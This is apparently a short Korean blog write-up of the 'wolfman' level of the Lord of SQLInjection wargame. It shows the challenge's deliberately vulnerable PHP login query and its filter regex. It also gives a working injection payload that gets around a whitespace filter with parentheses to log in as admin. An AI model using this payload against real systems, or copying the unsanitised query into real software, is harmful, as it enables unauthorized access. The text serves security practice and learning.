[보안]/[LOS]
[LOS] WOLFMAN
Hevton
2020. 12. 12. 12:09
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소스
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
공백을 우회하라는 문제
공백우회로 ()를 사용햇다.
query : select id from prob_wolfman where id='guest' and pw='1'or(id)='admin'
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